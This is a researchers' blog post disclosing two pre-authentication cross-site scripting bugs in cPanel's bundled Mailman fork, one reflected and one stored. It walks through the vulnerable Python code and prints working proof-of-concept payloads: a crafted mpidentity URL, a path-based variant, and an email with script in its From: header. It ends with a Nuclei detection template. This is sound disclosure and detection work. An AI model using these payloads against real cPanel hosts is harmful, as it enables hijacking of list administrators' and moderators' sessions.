cPanel quietly runs an enormous slice of the web. Pick a cheap shared-hosting plan from any provider on the internet and you will almost certainly be logging into cPanel & WHM to manage it: millions of small business sites, mailing lists, and personal domains live behind its CGI scripts. For a footprint that large, public security research on cPanel is surprisingly thin, which is part of why it caught our attention.
Neither of us had worked on cPanel before, but one day we decided to go after WebPros' flagship product. We didn't know their bug-handling procedure beforehand. We'd assumed they issued a reasonable bounty alongside a CVE, because we had previously seen Assetnote's blog and had a vague impression in mind. So we started, and within a few days we had several 0-days.
We reported one of them to cPanel, and surprisingly, they offered a $150 bounty and no CVE. We even offered to skip the bounty if they'd assign CVEs for the rest of the bugs instead. For an enterprise company of their size, that's disappointing, and it gives the distinct vibe that cPanel is not eager to protect its customers. We will never work on them again; if we could go back, we wouldn't work on them at all. No bounty but a CVE would have been fine. This was neither.
Still, the customers running these servers deserve to know what is sitting on them, and this post is the closest thing to a public advisory the bugs will get.
Today we want to walk through the procedure of uncovering two of those vulnerabilities, so follow the rest of the post for the technical stuff.
Discovery
cPanel & WHM is huge, so we picked one rule to narrow it down: only
look at what's reachable pre-auth on default configurations. Our target
was cPanel & WHM 11.134.0.13 on AlmaLinux 8.
One path stood out right away: /mailman/. cPanel bundles
its own fork of GNU Mailman for mailing lists,
cpanel-mailman-2.2.0.42-1.cp130, the feature is on by
default, and it serves a handful of CGI pages with no login required.
That was an easy target for two reasons. It's a fork, so it has drifted away from upstream's security fixes over the years. And it's Mailman 2.x: old Python CGI that builds HTML by gluing strings together, with no autoescaping anywhere. That's exactly where XSS hides.
So we didn't fuzz it. We pulled the cpanel-mailman package
off the box and read the code. On the first pass we found two bugs, one
reflected and one stored, both pre-auth.
Bug 1: Reflected XSS on Every Mailman Page
The first bug is the kind you almost feel bad about, because it is too easy. One query parameter, no authentication, and it fires on every single Mailman page, including the admin login page.
A parameter gets reflected inside an inline
<script> block, serialized through
json.dumps(). json.dumps() escapes the double
quotes, so you can't break out of the JSON string the obvious way. But
it does not escape the forward slash, so a
</script> walks straight out of the script context
and into fresh HTML. That's the whole bug, and this URL pops an alert:
http://target.tld/mailman/listinfo?mpidentity=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E
cPanel does not ship stock Mailman. They bolt their own things on top of
it. One of those things is a Mixpanel analytics module,
MixpanelAnalytics.py, that injects a tracking snippet into
the page footer. The footer include lives at
htmlformat.py:687, and it runs on basically every standard
Mailman template, so that analytics block is everywhere.
The module reads a parameter called mpidentity straight
from the query string:
def existingIdentity():
qs = os.environ.get('QUERY_STRING')
parsed = urllib.parse.parse_qs(qs)
if parsed:
identity = parsed.get('mpidentity')
if identity:
return identity
return None
parse_qs URL-decodes the value, so whatever we put in the
URL comes back as a clean string. That string goes straight into a
dictionary:
pageData['identity'] = existingIdentity() # attacker-controlled
And the whole pageData dictionary is serialized and dropped
inside an inline <script> block:
<script type="text/javascript">
...
(function() {
var pageData = ''' + json.dumps(pageData) + ''';
So our </script> lands here untouched, and the
response comes back with the script context already broken open:
<script type="text/javascript">
...
var pageData = {"allowConsentGathering": true, "isDevEnvironment": false,
"identity": ["</script><svg/onload=alert(document.domain)>"],
"path": {"isAdmin": false, "section": "N/A"}};
The browser hits </script>, closes the block, and
runs our <svg onload>.
And while we were there we found a second way into the same
json.dumps() call. cleansedPathInfo() builds
pageData['path']['section'] from the request URI with a
regex, so if you put the payload in the URL path instead of the query
string, it still lands unescaped in the same serialized JSON:
"section": "</script><img src=x onerror=alert(document.domain)>"
Same sink, different source.
Impact
The obvious impact is hijacking the Mailman admin's session. But the more interesting point is that this is reflected XSS running on the host's main web ports 80 and 443, not some isolated admin panel. That means it can be chained against the main website's functionality, not just Mailman: anything served from the same origin is in scope for whatever the payload decides to do.
Bug 2: Stored XSS in the Moderation Queue
The second bug is a stored one, and it is almost funny how small it is: a single missing function call.
When someone creates a mailing list, their email becomes the list admin,
shown at /mailman/admin. Posts from non-members don't go
out right away; they wait in that admin's moderation queue for approval.
So the way in is simple: grab the admin address from that page, email
the list, and your message lands in their queue. No account, no
subscription, nothing.
The moderator reviews that queue in admindb.py. The
function show_post_requests() builds the detail view for a
single held message, and it renders every header of that message back
onto the page. Look at how careful it is:
hdrtxt = NL.join(['%s: %s' % (k, v) for k, v in list(msg.items())])
hdrtxt = Utils.websafe(hdrtxt) # headers: escaped
t = Table(cellspacing=0, cellpadding=0, width='100%')
t.AddRow([Bold(_('From:')), sender]) # <-- NOT escaped
t.AddRow([Bold(_('Subject:')),
Utils.websafe(Utils.oneline(subject, lcset))]) # subject: escaped
Utils.websafe() is Mailman's HTML escaper. The header blob
is escaped. The subject is escaped. And then, right in the middle, the
From: field, sender, goes onto the page raw.
Every other place in this same file that renders sender
escapes it properly; line 779 is the only one that forgot.
And sender is just the From: header of the
queued email; parsed by Python's email library, pickled into
requests.db when the message was held, and fully
attacker-controlled, since From: is just a field you set.
Put HTML in it and it renders raw:
From: "<script>alert(document.cookie)</script>"@attacker.com
To: testxss@localhost
Subject: Innocent looking subject
Date: Sat, 05 Apr 2026 12:00:00 +0000
Hello, please approve this message.
There's no clever delivery here; it's just an email. You send this message to the list address over plain SMTP, the same way any mail reaches the list. Because it comes from a non-member it drops into the moderation queue, and even if the list's spam filtering flags it, a flagged message is still shown to the moderator for review. That review page is where it fires, the moment the moderator opens the held message:
GET /mailman/admindb/testxss?msgid=6 HTTP/1.1
Host: target.tld
the response hands their browser this:
<td>"<script>alert(document.cookie)</script>"@attacker.com</td>
and the script runs in the moderator's authenticated session.
Impact
The admin session cookie is set HttpOnly, so the naive "steal the
cookie" path doesn't work here; script can't read it. The real impact
is that the payload runs inside the moderator's authenticated session,
so it can act with the moderator's privileges while they're logged in.
Wrap-up
Both bugs come from the same simple mistake: untrusted input handed to
code that wasn't meant to handle it. json.dumps() escaped the quotes
but let </script> through, because it's a serializer,
not an HTML escaper. And in the moderation queue, one line just forgot
to call the escaper that every line around it remembered.
There was nothing clever here. We didn't fuzz anything; we read the
source, and the bugs were already sitting there in a fork that ships to
a lot of servers. These two probably aren't the only ones; they're just
the ones we stopped to write down.
Takeaway
If you run cPanel and Mailman is on, you can scan for Bug 1 in seconds. We turned the reflection into a Nuclei template and shipped it as a PR against the public repo: projectdiscovery/nuclei-templates#16233.
id: cpanel-mailman-xss
info:
name: cPanel Mailman - Reflected Cross-Site Scripting
author: yshahinzadeh,amirmsafari
severity: high
description: |
cPanel Mailman listinfo reflects the `mpidentity` query parameter into the HTML response without proper output encoding, resulting in reflected cross-site scripting. A WAF bypass may be required depending on the deployment.
classification:
cwe-id: CWE-79
tags: cpanel,mailman,xss
http:
- method: GET
path:
- "{{BaseURL}}/mailman/listinfo?mpidentity=randomtest"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "randomtest"
- "mailman"
- "gnu-head-tiny"
condition: and
- type: status
status:
- 200
A note on the probe. The template fires on a plain randomtest,
not on a real payload. That is deliberate. Most cPanel Mailman
deployments in the wild sit behind a WAF or CDN, and a probe containing
HTML-breaking characters gets stripped or 403'd before it ever reaches
Mailman, which means a payload-based template would fire on almost
nothing; including the hosts that are actually exploitable. A harmless
sentinel that simply confirms mpidentity is reflected, plus
the Mailman fingerprints (gnu-head-tiny,
mailman), is enough to identify an affected host without
throwing an exploit at it.
We ran this template across many bug bounty programs whose targets run cPanel and Mailman. The bounties we collected from those programs dwarfed the $150 cPanel paid us for the same bug. Many times over.